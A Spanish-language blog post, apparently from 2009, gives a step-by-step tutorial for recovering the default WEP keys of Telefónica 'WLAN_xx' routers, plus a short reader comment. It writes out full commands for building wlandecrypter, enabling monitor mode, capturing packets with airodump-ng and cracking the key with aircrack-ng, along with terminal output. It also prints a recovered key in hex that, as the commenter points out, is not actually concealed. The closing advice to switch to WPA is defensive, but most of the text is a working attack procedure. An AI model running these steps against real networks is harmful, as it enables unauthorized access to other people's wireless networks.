Hace unos días en el taller práctico de seguridad WIFI organizado por AIB hemos podido conocer un sistema más para obtener las contraseñas WEP de los APs o routers de Telefonica. Me estoy refiriendo a los famosos WLAN_xx.
Muchos usuarios se sienten seguros con la clave que trae por defecto sus routers y en esta ocasión vamos a comprobar lo equivocados que pueden estar.
Las claves de estos APs se calculan por medio de un algoritmo que ha resultado ser más débil de lo que a Telefonica le hubiese gustado, o no, y es posible obtener un listado con todas las combinaciones posibles.
Este listado, que podemos obtener de manera sencilla con la aplicación wlandecrypter, y en combinación con aircrack, nos va a permitir dar con la clave a partir de unos pocos paquetes capturados. Pasemos a la demostración.
Instalar wlandecrypter
En primer lugar descargamos de cualquiera de las webs que recogen esta aplicación una copia para instalar.
wget http://www.fileden.com/files/2008/10/11/2138272/wlandecrypter-0.6.tar.gz tar -zxvf wlandecrypter-0.6.tar.gz cd wlandecrypter-0.6/ make $cp wlandecrypter /usr/bin
Crear el diccionario
El diccionario o el listado de claves lo creamos a partir del nombre del AP y su dirección MAC. El nombre del AP es bien fácil de conocer ya que lo vemos directamente en el lístado de redes WIFI disponibles, y está formado por la cadena ´WLAN_´ seguido de dos caracteres.
Para conocer la dirección MAC podemos usar Kismet o Airodump-ng.
En el anterior post donde expliqué el proceso para obtener las claves WEP usé Kismet, sin embargo esta aplicación requiere configurarse previamente y supone una dificultad importante para muchos usuarios, por lo que esta vez lo haremos por medio de airodump-ng.
Empezamos por cofigurar nuestra tarjeta en modo monitor.
$airmon-ng stop ath0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed) $airmon-ng start wifi0 Interface Chipset Driver wifi0 Atheros madwifi-ng ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
...y ejecutamos airodump-ng para descubrir las redes con sus correspondientes direcciones MAC.
$airodump-ng ath0
Hecho esto veremos las redes WIFI a nuestro alrededor junto con la MAC y el tipo de encriptación de cada una de ellas.
Con la dirección MAC y el nombre del AP procedemos a crear la tabla de contraseñas con Wlandecrypter especificando ambos valores e indicando el nombre del fichero de contraseñas que generará.
$wlandecrypter 20:33:64:30:50:13 WLAN_K7 diccionario wlandecrypter 0.6 - (c) 2006 nilp0inter2k6_at_gmail.com ------------> Actualizado por *dudux <------------ http://www.seguridadwireless.net [+] BSSID: 20:33:64:30:50:13 [+] Modelo: P-660HW-D1 [+] ESSID: WLAN_K7 [+] Fichero de claves: diccionario [+] Fichero guardado
Con esto ya tenemos creado un archivo de texto llamado "diccionario" y cuyo contenido son todas y cada una de las contraseñas posibles.
Capturar tráfico
Es el momento de capturar algunos paquetes de la red, para lo que usaremos de nuevo airodump-ng indicando esta vez la MAC y el nombre del archivo en el que queremos que almacene los paquetes.
$airodump-ng --bssid 00:13:49:95:A3:73 -w captura --channel 7 ath0
Una vez veamos que la columna #Data contempla algunos paquetes podremos interrumpir airodump. Un par de paquetes ya será suficiente.
CH 7 ][ Elapsed: 8 s ][ 2009-06-13 00:25 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 20:33:64:30:50:13 8 7 47 0 7 54. WEP WEP WLAN_K7 BSSID STATION PWR Rate Lost Packets Probes 22:35:12:41:12:23 00:2E:61:17:61:44 10 11-11 372 51
Obtener la contraseña WEP
Hemos creado la tabla de contraseñas con Wlandecrypter y capturado tráfico con airodump-ng, así que estamos en disposición de ejecutar aircrack para dar con la contraseña correcta.
Esta vez usaremos el parámetro -w de aircrack para especificar un diccionario, que no es otro que el archivo generado por wlandecrypter, y el parámetro -K, para que aircrack no trate de obtener la contraseña por heurística sino comparando cada paquete con las distintas claves posibles.
$aircrack-ng -w diccionario captura-01.cap -K [00:00:32] Tested 48157 keys (got 22 IVs) KB depth byte(vote) 0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) KEY FOUND! [ 1A:21:32:43:54:65:76:87:98:39:43:43:46 ] (ASCII: XXXXXXXXXXXXX ) Decrypted correctly: 100%
Y ahí la tenemos. La clave del AP obtenida en cuestión de segundos (sí, la he ocultado a drede!).
Después de esto no deberías permitirte tener la contraseña por defecto de tu router ni un solo día más. Cambia el nombre del AP y utiliza WPA en lugar de WEP, con una contraseña larga, alfanumérica y que no corresponda a una palabra que pueda quedar recogida en un diccionario. Dormirás más tranquilo.
Nota: Imagen del chiste robada malament de Creabits.com
12-06-2009
la ocultas en ascci y no la ocultas en hexadecimal, tu no sabes que es lo mismo meterla en ascci que meter todos los numero hexadecimales sin los dos puntos....te podias haber ahorrado el ocultarla y el tonto comentario de "la he ocultado a drede" XD
Gracias por el comentario!